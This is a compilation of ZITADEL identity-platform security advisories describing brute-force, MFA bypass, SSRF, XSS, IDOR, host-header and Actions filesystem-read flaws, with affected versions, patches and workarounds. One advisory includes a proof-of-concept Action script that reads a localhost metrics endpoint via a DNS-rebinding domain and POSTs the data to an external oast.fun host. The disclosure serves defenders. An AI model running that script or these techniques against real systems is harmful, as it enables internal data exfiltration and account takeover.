Summary

A vulnerability in Zitadel allowed brute-force attack on OTP, TOTP and password allowing to impersonate the attacked user.

Impact

An attacker can perform an online brute-force attack on OTP, TOTP, and passwords. While Zitadel allows preventing online brute force attacks in scenarios like TOTP, Email OTP, or passwords using a lockout mechanism. The mechanism is not enabled by default and can cause a denial of service for the corresponding user if enabled. Additionally, the mitigation strategies were not fully implemented in the more recent resource-based APIs.

Affected Versions

All versions within the following ranges, including release candidates (RCs), are affected: - 4.x: 4.0.0 to 4.4.0 (including RC versions) - 3.x: 3.0.0 to 3.4.2 (including RC versions) - 2.x: v2.0.0 to 2.71.17

Patches

The vulnerability has been addressed in the latest releases. The patch resolves the issue by enforcing the lockout policy on all OTP, TOTP and password checks. Additionally a “tar pit” has been introduced to slow down brute-force attacks by default. Zitadel responses will be delayed by t seconds, where t increases over the number of failed attempts within a given timeframe.

4.x: Upgrade to >=4.6.0 3.x: Update to >=3.4.3 2.x: Update to >=2.71.18

Workarounds

The recommended solution is to update Zitadel to a patched version.

The problem might be mitigated by enabling the optional logout policy ("Password maximum attempts") or by implementing more strict rate limits.

Questions

If you have any questions or comments about this advisory, please email us at security@zitadel.com

Credits

This vulnerability was found by zentrust partners GmbH during a scheduled penetration test. Thank you to the analysts Martin Tschirsich, Joud Zakharia, Christopher Baumann. The full report will be made public after the complete review.

Summary

A vulnerability in Zitadel's token verification prematurely marked sessions as authenticated when only one factor was verified.

Impact

Zitadel provides an API for managing sessions, enabling custom login experiences in a dedicated UI or direct integration into applications. Session Tokens are issued for active sessions, which can be used as Bearer tokens to call the Zitadel API.

Starting from 2.55.0 (see other affected versions below), Zitadel only required multi factor authentication in case the login policy has either enabled requireMFA or requireMFAForLocalUsers. If a user has set up MFA without this requirement, Zitadel would consider single factor auhtenticated sessions as valid as well and not require multiple factors.

Bypassing second authentication factors weakens multifactor authentication and enables attackers to bypass the more secure factor. An attacker can target the TOTP code alone, only six digits, bypassing password verification entirely and potentially compromising accounts with 2FA enabled.

Affected Versions

Systems using the session API (v2 beta and v2) directly or via the new login UI in the following versions are affected: - 4.x: 4.0.0 to 4.5.0 (including RC versions) - 3.x: 3.0.0 to 3.4.2 (including RC versions) - 2.x: v2.53.6 to v2.53.9, v2.54.3 to v2.54.10, 2.55.0 to 2.71.17

Patches

The vulnerability has been addressed in the latest releases. The patch resolves the issue by requiring a configured second factor regardless of the login policies requireMFA or requireMFAForLocalUsers configuration.

4.x: Upgrade to >=4.6.0 3.x: Update to >=3.4.3 2.x: Update to >=2.71.18

Workarounds

The recommended solution is to update Zitadel to a patched version.

Questions

If you have any questions or comments about this advisory, please email us at security@zitadel.com

Credits

This vulnerability was found by zentrust partners GmbH during a scheduled penetration test. Thank you to the analysts Martin Tschirsich, Joud Zakharia, Christopher Baumann. The full report will be made public after the complete review.

Summary

A vulnerability in ZITADEL's federation process allowed auto-linking users from external identity providers to existing users in ZITADEL even if the corresponding IdP was not active or if the organization did not allow federated authentication.

Impact

This vulnerability stems from the platform's failure to correctly check or enforce an organization's specific security settings during the authentication flow. An Organization Administrator can explicitly disable an IdP or disallow federation, but this setting was not being honored during the auto-linking process.

This allowed an unauthenticated attacker to initiate a login using an IdP that should have been disabled for that organization. The platform would incorrectly validate the login and, based on a matching criteria, link the attacker's external identity to an existing internal user account.

This may result in a full Account Takeover, bypassing the organization's mandated security controls. Note that accounts with MFA enabled can not be taken over by this attack. Also note that only IdPs create on an instance level would allow this to work. IdPs registered on another organization would always be denied in the (auto-)linking process.

Affected Versions

Systems running one of the following versions are affected: - v4.x: 4.0.0-rc.1 through 4.6.5 - v3.x: 3.0.0-rc.1 through 3.4.3 - v2.x: 2.50.0 through 2.71.18

Patches

The vulnerability has been addressed in the latest release. The patch resolves the issue by correctly validating the organization's login policy before auto-linking an external user.

- v4.x: Upgrade to version 4.6.6 or later. - v3.x: Update to version 3.4.4 or later. - v2.x: Update to version 2.71.19 or later.

Workarounds

Upgrading to a patched version is the recommended solution.

Questions

If you have any questions or comments about this advisory, please email Zitadel at security@zitadel.com

Credits

Thanks to Jan Kühnlein - kultify for finding and reporting the vulnerability.

Summary

Zitadel is vulnerable to an unauthenticated, full-read SSRF vulnerability. An unauthenticated remote attacker can force Zitadel into making HTTP requests to arbitrary domains, including internal addresses. The server then returns the upstream response to the attacker, enabling data exfiltration from internal services.

Impact

ZITADEL Login UI (V2) was vulnerable to service URL manipulation through the x-zitadel-forward-host header. The service URL resolution logic treated the header as a trusted fallback for all deployments, including self-hosted instances. This allowed unauthenticated attacker to force the server to make outbound requests and read the responses, reaching internal services, exfiltrating data, and bypassing IP-based or network-segmentation controls. Affected Versions

Systems using the login UI (v2) and running one of the following versions are affected: - v4.x: 4.0.0-rc.1 through 4.7.0

Patches

The vulnerability has been addressed in the latest release. The patch resolves the issue by correctly validating the x-zitadel-forward-host, resp. all forwarded headers against the instance domains and trusted domains. It's no longer used to route traffic to the Zitadel API.

Before you upgrade, ensure that: - the ZITADELAPIURL is set and is pointing to your instance, resp. system in multi-instance deployments. - the HTTP host (or a x-forwarded-host) is passed in your reverse proxy to the login UI. - a x-zitadel-instance-host (or x-zitadel-forward-host) is set in your reverse for multi-instance deployments. If you're running a single instance solution, you don't need to take any actions.

Fixed versions: - 4.x: Upgrade to >=4.7.1

Workarounds

The recommended solution is to update ZITADEL to a patched version.

A ZITADEL fronting proxy can be configured to delete all x-zitadel-forward-host header values or set it to the requested host before sending requests to ZITADEL self-hosted environments.

Questions

If you have any questions or comments about this advisory, please email us at security@zitadel.com

Credits

Thanks to Amit Laish – GE Vernova for finding and reporting the vulnerability.

Summary

A vulnerability was discovered in Zitadel's login V2 interface that allowed a possible account takeover.

Impact

Zitadel exposes an HTTP endpoint named /saml-post. This endpoint is used for handling requests to SAML IdPs and accepts two HTTP GET parameters: url and id. When these parameters are supplied, users’ browsers auto-submit an HTTP POST request to the provided url parameter. The endpoint insecurely redirects users using the provided url GET parameter. As a result, by specifying a javascript: scheme, malicious JS code could be executed on Zitadel users’ browsers.

The endpoint also reflects user-supplied input in the server response, without HTML-encoding it. As a result, it is possible to inject arbitrary HTML code, which again leads to malicious JS code execution in the Zitadel users’ browsers.

An unauthenticated remote attacker can exploit these XSS vulnerabilities, and thus, execute malicious JavaScript code on behalf of Zitadel users. By doing so, such an attacker could reset the password of their victims, and take over their accounts.

It's important to note that this specific attack vector is mitigated for accounts that have Multi-Factor Authentication (MFA) or Passwordless authentication enabled.

Affected Versions

Systems running one of the following versions are affected: - 4.x: 4.0.0 through 4.11.1 (including RC versions) Important Note: Although this /saml-post endpoint is used when Zitadel is integrated with a SAML Identity Provider (IdP), the vulnerability in this finding does not require Zitadel to be configured with a SAML IdP. Consequently, Zitadel is vulnerable in its default, out-of-the-box configuration.

Patches

The vulnerability has been addressed in the latest releases. The patch reworked the integration of SAML IdPs and the /saml-post endpoint no longer exists. Additionally, the page to change the password, now always requires the user's current password regardless of the state of the authenticated session.

4.x: Upgrade to >= 4.12.0

Workarounds

The recommended solution is to upgrade to a patched version. If an upgrade is not possible and no SAML IdP integration is needed, a WAF or reverse proxy rule can be deployed to prevent access to the endpoint.

Questions

If there are any questions or comments about this advisory, please email them to security@zitadel.com

Credits

ZITADEL extends thanks once again to Amit Laish from GE Vernova for finding and reporting the vulnerability.

ZITADEL is an open source identity management platform. From version 4.0.0-rc.1 to 4.7.0, a potential vulnerability exists in ZITADEL's password reset mechanism in login V2. ZITADEL utilizes the Forwarded or X-Forwarded-Host header from incoming requests to construct the URL for the password reset confirmation link. This link, containing a secret code, is then emailed to the user. This issue has been patched in version 4.7.1.

Summary A flaw in the URL validation mechanism of Zitadel actions allows bypassing restrictions intended to block requests to localhost (127.0.0.1). The isHostBlocked check, designed to prevent such requests, can be circumvented by creating a DNS record that resolves to 127.0.0.1. This enables actions to send requests to localhost despite the intended security measures.

Details While attempting to send a request directly to 127.0.0.1 via an action results in an error (see image below), the restriction can be bypassed using a custom DNS record. <img width="781" alt="image" src="https://github.com/user-attachments/assets/6d22dae8-407f-4420-a937-aca53d22d05d">

The relevant action code demonstrates the attempted request to 127.0.0.1: let http = require('zitadel/http') let logger = require("zitadel/log") function makeapicall(ctx, api) { var user = http.fetch('http://127.0.0.1:8080/debug/metrics');

var apir = http.fetch('https://obtjoiwgtaftuhbjugulyolvvxuvuuosq.oast.fun/test', { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify({ 'data': user, }), }); logger.log(apir.body); }

By creating a DNS record that resolves a custom domain to 127.0.0.1 (illustrated below using messwithdns), the action can successfully send the request. !image

The modified action code uses the custom domain instead of 127.0.0.1: let http = require('zitadel/http') let logger = require("zitadel/log") function makeapicall(ctx, api) { var user = http.fetch('http://ok.jelly244.messwithdns.com:8080/debug/metrics');

var apir = http.fetch('https://obtjoiwgtaftuhbjugulyolvvxuvuuosq.oast.fun/test', { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify({ 'user': user, }), }); logger.log(apir.body); }

!image

This demonstrates that data from the /debug/metrics API, intended to be restricted to localhost, can be fetched and sent to an external endpoint. !image

Impact

This vulnerability potentially allows unauthorized access to unsecured internal endpoints, which may contain sensitive information or functionalities. Patches

2.x versions are fixed on >= 2.64.1 2.63.x versions are fixed on >= 2.63.6 2.62.x versions are fixed on >= 2.62.8 2.61.x versions are fixed on >= 2.61.4 2.60.x versions are fixed on >= 2.60.4 2.59.x versions are fixed on >= 2.59.5 2.58.x versions are fixed on >= 2.58.7

Workarounds

There is no workaround since a patch is already available.

Questions

If you have any questions or comments about this advisory, please email us at security@zitadel.com

Credits

Thanks to @prdp1137 for reporting this!

Summary

ZITADEL's Admin API contains Insecure Direct Object Reference (IDOR) vulnerabilities that allow authenticated users, without specific IAM roles, to modify sensitive settings. While several endpoints are affected, the most critical vulnerability lies in the ability to manipulate LDAP configurations. Customers who do not utilize LDAP for authentication are not at risk from the most severe aspects of this vulnerability. However, we still strongly recommend upgrading to the patched version to address all identified issues.

Description

ZITADEL's Admin API, intended for managing ZITADEL instances, contains 12 HTTP endpoints that are unexpectedly accessible to authenticated ZITADEL users who are not ZITADEL managers. The most critical vulnerable endpoints relate to LDAP configuration:

- /idps/ldap - /idps/ldap/{id}

By accessing these endpoints, unauthorized users could:

- Modify ZITADEL's instance LDAP settings, redirecting all LDAP login attempts to a malicious server, effectively taking over user accounts. - Expose the original LDAP server's password, potentially compromising all user accounts.

Additional Vulnerable Endpoints

The following endpoints are also affected by IDOR vulnerabilities, potentially allowing unauthorized modification of instance settings such as languages, labels, and templates:

- /idps/templates/search - /idps/templates/{id} - /policies/label/activate - /policies/label/logo - /policies/label/logodark - /policies/label/icon - /policies/label/icondark - /policies/label/font - /text/message/passwordlessregistration/{language} - /text/login/{language}

Impact

The impact of this vulnerability varies depending on whether a ZITADEL instance utilizes LDAP for authentication:

- LDAP Users: Successful exploitation could lead to complete takeover of user accounts and exposure of the LDAP server's password. - Non-LDAP Users: While the most severe risks are related to LDAP, exploitation of the additional vulnerable endpoints could still allow unauthorized modification of instance settings, impacting all organizations.

Patches

2.x versions are fixed on >= 2.71.0 2.70.x versions are fixed on >= 2.70.1 2.69.x versions are fixed on >= 2.69.4 2.68.x versions are fixed on >= 2.68.4 2.67.x versions are fixed on >= 2.67.8 2.66.x versions are fixed on >= 2.66.11 2.65.x versions are fixed on >= 2.65.6 2.64.x versions are fixed on >= 2.64.5 2.63.x versions are fixed on >= 2.63.8

Questions

If you have any questions or comments about this advisory, please email us at security@zitadel.com

Credit

This vulnerability was discovered by Amit Laish, a senior security researcher from GE Vernova and we want to thank him for reporting this to us!

Impact

A potential vulnerability exists in ZITADEL's password reset mechanism. ZITADEL utilizes the Forwarded or X-Forwarded-Host header from incoming requests to construct the URL for the password reset confirmation link. This link, containing a secret code, is then emailed to the user.

If an attacker can manipulate these headers (e.g., via host header injection), they could cause ZITADEL to generate a password reset link pointing to a malicious domain controlled by the attacker. If the user clicks this manipulated link in the email, the secret reset code embedded in the URL can be captured by the attacker. This captured code could then be used to reset the user's password and gain unauthorized access to their account.

It's important to note that this specific attack vector is mitigated for accounts that have Multi-Factor Authentication (MFA) or Passwordless authentication enabled.

Patches

Patched version ensure proper validation of the headers and do not allow downgrading from https to http.

3.x versions are fixed on >=3.2.2 2.71.x versions are fixed on >=2.71.11 2.x versions are fixed on >=2.70.12

Workarounds

The recommended solution is to update ZITADEL to a patched version.

A ZITADEL fronting proxy can be configured to delete all Forwarded and X-Forwarded-Host header values before sending requests to ZITADEL self-hosted environments.

Questions

If you have any questions or comments about this advisory, please email us at security@zitadel.com

Credits

Thanks to Amit Laish – GE Vernova for finding and reporting the vulnerability.

ZITADEL is an open source identity management system. Starting in version 2.53.0 and prior to versions 4.0.0-rc.2, 3.3.2, 2.71.13, and 2.70.14, vulnerability in ZITADEL's session management API allows any authenticated user to update a session if they know its ID, due to a missing permission check. This flaw enables session hijacking, allowing an attacker to impersonate another user and access sensitive resources. Versions prior to 2.53.0 are not affected, as they required the session token for updates. Versions 4.0.0-rc.2, 3.3.2, 2.71.13, and 2.70.14 fix the issue.

Impact

A potential vulnerability exists in ZITADEL's password reset mechanism. ZITADEL utilizes the Forwarded or X-Forwarded-Host header from incoming requests to construct the URL for the password reset confirmation link. This link, containing a secret code, is then emailed to the user.

If an attacker can manipulate these headers (e.g., via host header injection), they could cause ZITADEL to generate a password reset link pointing to a malicious domain controlled by the attacker. If the user clicks this manipulated link in the email, the secret reset code embedded in the URL can be captured by the attacker. This captured code could then be used to reset the user's password and gain unauthorized access to their account.

It's important to note that this specific attack vector is mitigated for accounts that have Multi-Factor Authentication (MFA) or Passwordless authentication enabled.

Affected Versions

Systems running one of the following versions: - 4.x: 4.0.0 to 4.5.0 (including RC versions) - 3.x: 3.0.0 to 3.4.2 (including RC versions) - 2.x: v2.0.0 to 2.71.17

Patches

Patched version ensure proper validation of the headers:

4.x: Upgrade to >=4.6.0 3.x: Update to >=3.4.3 2.x: Update to >=2.71.18

Workarounds

The recommended solution is to update ZITADEL to a patched version.

A ZITADEL fronting proxy can be configured to delete all Forwarded and X-Forwarded-Host header values before sending requests to ZITADEL self-hosted environments.

Questions

If you have any questions or comments about this advisory, please email us at security@zitadel.com

Credits

Thanks to Amit Laish – GE Vernova for finding and reporting the vulnerability.

ZITADEL combines the ease of Auth0 and the versatility of Keycloak.Actions, introduced in ZITADEL 1.42.0 on the API and 1.56.0 for Console, is a feature, where users with role.ORGOWNER are able to create Javascript Code, which is invoked by the system at certain points during the login. Actions, for example, allow creating authorizations (user grants) on newly created users programmatically. Due to a missing authorization check, Actions were able to grant authorizations for projects that belong to other organizations inside the same Instance. Granting authorizations via API and Console is not affected by this vulnerability. There is currently no known workaround, users should update.

Impact

ZITADEL uses the notification triggering requests Forwarded or X-Forwarded-Host header to build the button link sent in emails for confirming a password reset with the emailed code. If this header is overwritten and a user clicks the link to a malicious site in the email, the secret code can be retrieved and used to reset the users password and take over his account.

Accounts with MFA or Passwordless enabled can not be taken over by this attack.

Patches

The patched ZITADEL versions verify, that the auth requests instance is retrieved by the requests original domain (from the Forwarded or X-Forwarded-Host headers if available). If the instance can't be found using the original host or the auth request can't be found within that instance, ZITADEL throws an error.

2.x versions are fixed on >= 2.41.6 2.40.x versions are fixed on >= 2.40.10 2.39.x versions are fixed on >= 2.39.9

The vulnerablility was introduced with 2.39.0.

Workarounds

A ZITADEL fronting proxy can be configured to delete all Forwarded and X-Forwarded-Host header values before sending requests to ZITADEL self-hosted environments.

References

None

Questions

If you have any questions or comments about this advisory, please email us at security@zitadel.com

Impact

ZITADEL users can upload their own avatar image and various image types are allowed.

Due to a missing check, an attacker could upload HTML and pretend it is an image to gain access to the victim's account in certain scenarios. A possible victim would need to directly open the supposed image in the browser, where a session in ZITADEL needs to be active for this exploit to work.

The exploit could only be reproduced if the victim was using Firefox. Chrome, Safari as well as Edge did not execute the code.

Patches

2.x versions are fixed on >= 2.48.3 2.47.x versions are fixed on >= 2.47.8 2.46.x versions are fixed on >= 2.46.5 2.45.x versions are fixed on >= 2.45.5 2.44.x versions are fixed on >= 2.44.7 2.43.x versions are fixed on >= 2.43.11 2.42.x versions are fixed on >= 2.42.17

ZITADEL recommends upgrading to the latest versions available in due course.

Workarounds

There is no workaround since a patch is already available.

References

None

Questions

If you have any questions or comments about this advisory, please email us at security@zitadel.com

Credits

Thanks to Amit Laish – GE Vernova for finding and reporting the vulnerability.

Zitadel is open-source identity infrastructure software. A vulnerability existed where expired keys can be used to retrieve tokens. Specifically, ZITADEL fails to properly check the expiration date of the JWT key when used for Authorization Grants. This allows an attacker with an expired key to obtain valid access tokens. This vulnerability does not affect the use of JWT Profile for OAuth 2.0 Client Authentication on the Token and Introspection endpoints, which correctly reject expired keys. This vulnerability is fixed in 2.71.6, 2.70.8, 2.69.9, 2.68.9, 2.67.13, 2.66.16, 2.65.7, 2.64.6, and 2.63.9.

Summary

A vulnerability in ZITADEL Actions V1 allows an organization Action author to read files from the ZITADEL host filesystem through the JavaScript require() module loader. On common self-hosted deployments this can be chained to steal bootstrap credentials (including the Login Client PAT) and escalate from a single-tenant organization owner to instance administrator.

Impact

ZITADEL Actions V1 run custom JavaScript inside the ZITADEL server process at OIDC, SAML, and login-flow trigger points. The runtime enables the goja Node-compatible require() registry without restricting the source loader, so Action scripts can load host files readable by the ZITADEL process (notably .js and .json, and in some cases other file contents via error channels).

An attacker with ORGOWNER on any organization (which includes org.action.write and org.flow.write) can therefore:

Read process-readable host files, including configuration or secrets mounted into the API container (for example service-account material, projected secrets, or config carrying sensitive values). On deployments that follow ZITADEL’s documented bootstrap paths (ZITADELFIRSTINSTANCELOGINCLIENTPATPATH, ZITADELFIRSTINSTANCEMACHINEKEYPATH), recover instance-wide credentials such as the IAMLOGINCLIENT PAT or the IAMOWNER service-account key, enabling escalation to full instance control.

This collapses the expected multi-tenant isolation boundary: a tenant organization administrator is not meant to access host filesystem secrets or instance-wide credentials.

Scope note: This issue affects Actions V1. Host command execution was not identified as part of this vulnerability. Impact depends on what the ZITADEL process can read on disk and on deployment layout — documented Compose and quick-start setups that write bootstrap PATs or machine keys into the API container amplify severity.

Affected Versions

Systems running one of the following versions are affected:

4.x: 4.0.0 through 4.16.0 (including RC versions) 3.x: 3.0.0 through 3.4.12 (including RC versions)

Patches

The vulnerability has been addressed in the latest releases. The patch disables filesystem-backed module loading for Action scripts so that only the intended native zitadel/ modules can be required.

4.x: Upgrade to $\ge$ 4.16.1 3.x: Upgrade to $\ge$ 3.4.13

Workarounds

If an immediate upgrade is not possible:

Restrict who can create, update, or attach Actions — do not grant org.action.write / org.flow.write (or ORGOWNER) to untrusted administrators in multi-tenant environments. Audit existing Actions for require() of filesystem paths. Remove or relocate bootstrap credential files (login-client.pat, machine keys) so they are not readable inside the API process filesystem. Limit host filesystem exposure for the ZITADEL process (no unnecessary readable secrets beside the binary).

Questions

If you have any questions or comments about this advisory, please email us at security@zitadel.com

Credits

Thanks to Dor Konis (@dkonis) and Feras Daragma (@FerasTr) from GE Vernova, and to pyuysig, for finding and reporting this vulnerability.

ZITADEL is an identity infrastructure management system. ZITADEL users can upload their own avatar image using various image types including SVG. SVG can include scripts, such as javascript, which can be executed during rendering. Due to a missing security header, an attacker could inject code to an SVG to gain access to the victim’s account in certain scenarios. A victim would need to directly open the malicious image in the browser, where a single session in ZITADEL needs to be active for this exploit to work. If the possible victim had multiple or no active sessions in ZITADEL, the attack would not succeed. This issue has been patched in version 2.39.2 and 2.38.2.

Summary

A vulnerability in ZITADEL's self-management capability allowed users to mark their email and phone as verified without going through an actual verification process.

Impact

ZITADEL provides an API for managing users. The API also allows users to self-manage their own data including updating the email and phone.

Due to an improper permission check, the API allowed setting the verified flag for the email and phone on the own user. This allows users to claim ownership of an email or phone they do not control and potentially bypass email-based security policies.

Note that when changing another user's email or phone, regardless of the verification flag, the permissions were correctly checked.

Affected Versions

Systems running one of the following versions are affected: - 4.x: 4.0.0 through 4.11.0 (including RC versions) - 3.x: 3.0.0 through 3.4.6 (including RC versions) - 2.x: 2.43.0 through 2.71.19

Patches

The vulnerability has been addressed in the latest releases. The patch resolves the issue by requiring the correct permission in case the verification flag is provided and only allows self-management of the email address, resp. phone number itself.

4.x: Upgrade to >=4.11.1 3.x: Update to >=3.4.7 2.x: Update to >=3.4.7

Workarounds

The recommended solution is to upgrade to a patched version. If an upgrade is not possible, an action (v2) could be used to prevent setting the verification flag on the own user.

Questions

If there are any questions or comments about this advisory, please send an email to security@zitadel.com

Summary

A vulnerability in Zitadel's login V2 UI allowed users to bypass login behavior and security policies and self-register new accounts or sign in using password even if corresponding options were disabled in their organizaton.

Impact

Zitadel enables administrators to configure their organization’s login behavior and security policies. As part of this functionality, they can disable user self-registration, enforce passwordless logins only, and more.

Due to improper enforcement an attacker could send direct HTTP requests to the login UI and create accounts in organizations that have disabled user self-registration, and gain unauthorized access to the system. The same attack vector could be used to authenticate for example using username and password even when this login method was disabled.

Affected Versions

Systems running one of the following versions are affected: - 4.x: 4.0.0 through 4.12.0 (including RC versions)

Patches

The vulnerability has been addressed in the latest releases. The patch resolves the issue by enforcing the policies on the logiin UI server.

4.x: Upgrade to >=4.12.1

Workarounds

The recommended solution is to upgrade to a patched version.

Questions

If there are any questions or comments about this advisory, please send an email to security@zitadel.com

Credits

ZITADEL extends thanks once again to Amit Laish from GE Vernova for finding and reporting the vulnerability.

Summary

A vulnerability in Zitadel's self-management capability allowed users to mark their email and phone as verified without going through an actual verification process.

While GHSA-282g-fhmx-xf54 (CVE-2026-27946, "Users Can Self-Verify Email/Phone via UpdateHumanUser API") closed the path that let any authenticated user mark an arbitrary email or phone as verified on their own account by calling UpdateHumanUser with email.isverified: true, additional paths were discovered.

Impact

Zitadel provides an API for managing users. The API also allows users to self-manage their own data including updating the email and phone.

Due to an improper permission check, the API allowed returning the verification code for the email and phone to the own user. This allows users to claim ownership of an email or phone they do not control and potentially bypass email-based security policies.

Note that when changing another user's email or phone, regardless of the verification flag, the permissions were correctly checked.

Affected Versions

Systems running one of the following versions are affected: - 4.x: 4.0.0 through 4.15.0 (including RC versions) - 3.x: 3.0.0 through 3.4.10 (including RC versions) - 2.x: 2.43.0 through 2.71.19

Patches

The vulnerability has been addressed in the latest releases. The patch resolves the issue by requiring the correct permission in case the verification flag is provided and only allows self-management of the email address, resp. phone number itself.

4.x: Upgrade to >=4.15.1 3.x: Update to >=3.4.11 2.x: Update to >=3.4.11

Workarounds

The recommended solution is to upgrade to a patched version. If an upgrade is not possible, an action (v2) could be used to prevent returning the verification code to the own user.

Questions

If you have any questions or comments about this advisory, please email us at security@zitadel.com

Credits

Thanks to eddieran for reporting this vulnerability.

Summary

A vulnerability in ZITADEL’s Login V2 UI allowed a password-verified browser session to be reused for a new authentication request without re-checking a user’s enrolled second factor (TOTP, OTP, or U2F). An attacker who already knows valid credentials can fully authenticate to an application without completing MFA.

Impact

ZITADEL Login V2 issues a session as soon as the user’s password is verified, before the MFA challenge is completed. If the MFA step is abandoned (for example by navigating back) and login is started again, Login V2 may reuse that existing session instead of requiring the second factor.

Session validity checks only enforced MFA verification when the organization’s login policy had Force MFA (or Force MFA for local users only) enabled. They did not treat a voluntarily enrolled second factor as required. In the common case where MFA is available on the user but not organization-mandated, a password-only session was treated as fully authenticated and used to complete the OIDC or SAML callback, bypassing the user’s second factor.

Scope note: This issue affects customer applications that authenticate users through the hosted Login V2 UI (OIDC/SAML). It does not affect Login V1. It also does not affect authentication to ZITADEL itself — including the Console, the Management/Admin APIs, and user self-management — even when Login V2 is enabled.

Affected Versions

Systems running one of the following versions are affected:

4.x: 4.0.0 through 4.16.0 (including RC versions)

Patches

The vulnerability has been addressed in the latest releases. The patch ensures Login V2 validates that any second factor enrolled on the user has been verified before an existing session can be reused to complete authentication.

4.x: Upgrade to $\ge$ 4.16.1

Workarounds

If an immediate upgrade is not possible, enable Force MFA (or Force MFA for local users only, if you want to exempt IdP/federated logins) in the affected organization’s — or the instance default — login policy. This makes second-factor verification mandatory for password logins and closes this session-reuse bypass.

Note that this is a broader policy change (MFA becomes mandatory for the scoped local logins) rather than a narrow fix limited to users who already self-enrolled a second factor.

Questions

If you have any questions or comments about this advisory, please email us at security@zitadel.com

Credits

Thanks to Philippe Wechsler (@MadMonkey87) for finding and reporting the vulnerability.

Impact

ZITADEL uses Go templates to render the login UI.

Due to a improper use of the text/template instead of the html/template package, the Login UI did not sanitize input parameters. An attacker could create a malicious link, where he injected code which would be rendered as part of the login screen. While it was possible to inject HTML including javascript, the execution of such scripts would be prevented by the Content Security Policy.

Patches

2.x versions are fixed on >= 2.47.3 2.46.x versions are fixed on >= 2.46.1 2.45.x versions are fixed on >= 2.45.1 2.44.x versions are fixed on >= 2.44.3 2.43.x versions are fixed on >= 2.43.9 2.42.x versions are fixed on >= 2.42.15 2.41.x versions are fixed on >= 2.41.15

ZITADEL recommends upgrading to the latest versions available in due course.

Workarounds

There is no workaround since a patch is already available.

Questions

If you have any questions or comments about this advisory, please email us at security@zitadel.com

Credits

Thanks to Daniel Philipp - owt and Thomas Wickham - synopsis for reporting this.

Impact ZITADEL provides users the possibility to use Time-based One-Time-Password (TOTP) and One-Time-Password (OTP) through SMS and Email.

While ZITADEL already gives administrators the option to define a Lockout Policy with a maximum amount of failed password check attempts, there was no such mechanism for (T)OTP checks.

Patches 2.x versions are fixed on >= 2.50.0

Workarounds There is no workaround since a patch is already available.

References None

Questions If you have any questions or comments about this advisory, please email us at security@zitadel.com

Credits

Thanks to Jack Moran from Layer 9 Information Security, Ethan from zxsecurity and Amit Laish from GE Vernova for finding and reporting the vulnerability.

Impact ZITADEL's user account deactivation mechanism did not work correctly with service accounts. Deactivated service accounts retained the ability to request tokens, which could lead to unauthorized access to applications and resources.

Patches

2.x versions are fixed on >= 2.62.1 2.61.x versions are fixed on >= 2.61.1 2.60.x versions are fixed on >= 2.60.2 2.59.x versions are fixed on >= 2.59.3 2.58.x versions are fixed on >= 2.58.5 2.57.x versions are fixed on >= 2.57.5 2.56.x versions are fixed on >= 2.56.6 2.55.x versions are fixed on >= 2.55.8 2.54.x versions are fixed on >= 2.54.10

Workarounds Instead of deactivating the service account, consider creating new credentials and replacing the old ones wherever they are used. This effectively prevents the deactivated service account from being utilized.

- Revoke all existing authentication keys associated with the service account - Rotate the service account's password

Questions If you have any questions or comments about this advisory, please email us at

security@zitadel.com

Impact

ZITADEL offers developers the ability to manage user sessions using the Session API. This API enables the use of IdPs for authentication, known as idp intents.

Following a successful idp intent, the client receives an id and token on a predefined URI. These id and token can then be used to authenticate the user or their session.

However, it was possible to exploit this feature by repeatedly using intents. This allowed an attacker with access to the application’s URI to retrieve the id and token, enabling them to authenticate on behalf of the user.

It’s important to note that the use of additional factors (MFA) prevents a complete authentication process and, consequently, access to the ZITADEL API.

Patches

3.x versions are fixed on >=3.0.0 2.71.x versions are fixed on >=2.71.9 2.x versions are fixed on >=2.70.10

Workarounds

The recommended solution is to update ZITADEL to a patched version.

Questions

If you have any questions or comments about this advisory, please email us at security@zitadel.com

Credits

Thanks to Józef Chraplewski from Nedap for reporting this vulnerability.

Summary

A potential vulnerability exists in ZITADEL's logout endpoint in login V2. This endpoint accepts serval parameters including a postlogoutredirect. When this parameter is specified, users will be redirected to the site that is provided via this parameter. ZITADEL's login UI did not ensure that this parameter contained an allowed value and even executed passed scripts.

Impact

Zitadel is vulnerable to a DOM-Based XSS vulnerability. More specifically, the /logout endpoint insecurely routed to value that is supplied in the postlogoutredirect GET parameter. As a result, malicious JS code could be executed on Zitadel users’ browsers, in the Zitadel V2 Login domain.

An unauthenticated remote attacker can exploit this DOM-based XSS vulnerability, and thus, execute malicious JavaScript code on behalf of Zitadel users. By doing so, such an attacker could reset the password of their victims, and take over their accounts.

Note that for this to work, multiple user sessions need to be active in the same browser. Additionally, it's important to note that an account takeover is mitigated for accounts that have Multi-Factor Authentication (MFA) or Passwordless authentication enabled.

Affected Versions

Systems using the login UI (v2) and running one of the following versions are affected: - v4.x: 4.0.0-rc.1 through 4.7.0

Patches

The vulnerability has been addressed in the latest release. The patch resolves the issue by ensuring the information was passed for the ZITADEL API using a JSON Web Token (JWT). If you're running your own login UI, we recommend switching over to the new logouttoken parameter, which contains all information previously passed via specific query parameters. The contained JWT's signature needs to be verified with the instance OAuth2/OIDC public keys (jwksuri).

Before you upgrade, ensure that: - the ZITADELAPIURL is set and is pointing to your instance, resp. system in multi-instance deployments. - the HTTP host (or a x-forwarded-host) is passed in your reverse proxy to the login UI. - a x-zitadel-instance-host (or x-zitadel-forward-host) is set in your reverse for multi-instance deployments. If you're running a single instance solution, you don't need to take any actions.

Patched versions: - 4.x: Upgrade to >=4.7.1

Workarounds

The recommended solution is to update ZITADEL to a patched version.

Questions

If you have any questions or comments about this advisory, please email us at security@zitadel.com

Credits

Thanks to Amit Laish – GE Vernova for finding and reporting the vulnerability.

Summary

A vulnerability in Zitadel's login V2 interface was discovered, allowing for possible account takeover.

Impact

Zitadel allows organization administrators to change the default redirect URI for their organization. This setting enables them to redirect users to an arbitrary location after they log in.

Due to missing restrictions and improper handling, malicious javascrtipt code could be executed in Zitadel login UI (v2) using the users’ browser.

An unauthenticated remote attacker can exploit this Stored XSS vulnerability, reset the password of their victims, and take over their accounts.

It's important to note that this specific attack vector is mitigated for accounts that have Multi-Factor Authentication (MFA) or Passwordless authentication enabled.Stored XSS vulnerability.

Affected Versions

Systems running one of the following versions are affected: - 4.x: 4.0.0 through 4.11.1 (including RC versions)

Patches

The vulnerability has been addressed in the latest releases. The login UI prevents execution of such code. Additionally, the page to change the password, now always requires the user's current password regardless of the state of the authenticated session.

4.x: Upgrade to >= 4.12.0

Workarounds

The recommended solution is to upgrade to a patched version.

Questions

